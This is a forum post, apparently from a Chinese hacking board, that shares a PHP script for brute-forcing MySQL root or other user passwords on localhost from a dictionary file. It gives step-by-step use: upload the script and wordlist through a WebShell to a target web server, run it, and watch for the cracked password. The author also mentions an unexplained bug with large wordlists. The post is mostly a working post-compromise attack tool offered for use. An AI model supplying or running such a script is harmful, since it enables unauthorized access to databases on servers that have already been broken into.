评了个评 發表於 2012-1-25 22:28:21

PHP Mysql 密码暴力破解代码,本机暴力破解 3306 端口

传到WebShell上去暴力破解本机的MySql数据库Root或其它用户的密码,因为是破解本机,所以速度奇快无比,貌似还有点效果,这个以前有人发过,这个是我改过的。已知有一处Bug,不清楚为何,密码数量少的时候,准确率100%,但是当密码数量达到5000以上时,准确率0%,明明正确&hellip;&hellip; <br /><br><div class="msgheader"><div class="right"><span style="CURSOR: pointer" class="copybut"><u>复制代码</u></span></div>代码如下:</div><div class="msgborder" id="phpcode1"> <br />&lt;? <br />set_time_limit(0); //脚本不超时 <br />$user="root"; //用户名 <br />$passwd=file("password.txt"); //密码字典 <br />for($i=0;$i&lt;count($passwd);$i++){ <br />$pass=$passwd[$i]; <br />connect($user,$pass); <br />flush(); <br />} <br />echo "扫描结束!"; <br />function connect($user,$pass) { <br />$conn=@mysql_connect("localhost",$user,$pass); <br />if($conn){ <br />echo "&lt;font color='#0000FF'&gt;&lt;b&gt;得到密码:&lt;font color='#FF0000'&gt;".$pass."&lt;/font&gt;!!!&lt;/b&gt;&lt;/font&gt;"; <br />exit(); <br />} <br />else { <br />echo $pass.'<br />'; <br />} <br />} <br />?&gt; <br /></div><br />代码简单的不能再简单了,就不解释了,功能很简单,传到WebShell上去暴力破解本机的MySql数据库Root或其它用户的密码,因为是破解本机,所以速度奇快无比,貌似还有点效果,这个以前有人发过,这个是我改过的。 <br /><br />已知有一处Bug,不清楚为何,密码数量少的时候,准确率100%,但是当密码数量达到5000以上时,准确率0%,明明正确的密码,却不显示正确,除非你把这个密码放在字典最末尾,才显示正确,不清楚是什么原因造成的,开始以为是暴破间隔时间太短,加了延时函数,还是这样。。。 <br /><br />或许只是我个别原因?各位试试就知道了。 <br /><br />用法: <br /><br />1、修改 PHP 代码中的用户名 <br /><br />2、准备字典 password.txt,每行一个,理论上支持无数行。 <br /><br />3、将脚本和字典一起传到目标Web服务器上,访问该脚本,即开始暴力破解,破解结果实时输出,盯着就行了。
頁: [1]
查看完整版本: PHP Mysql 密码暴力破解代码,本机暴力破解 3306 端口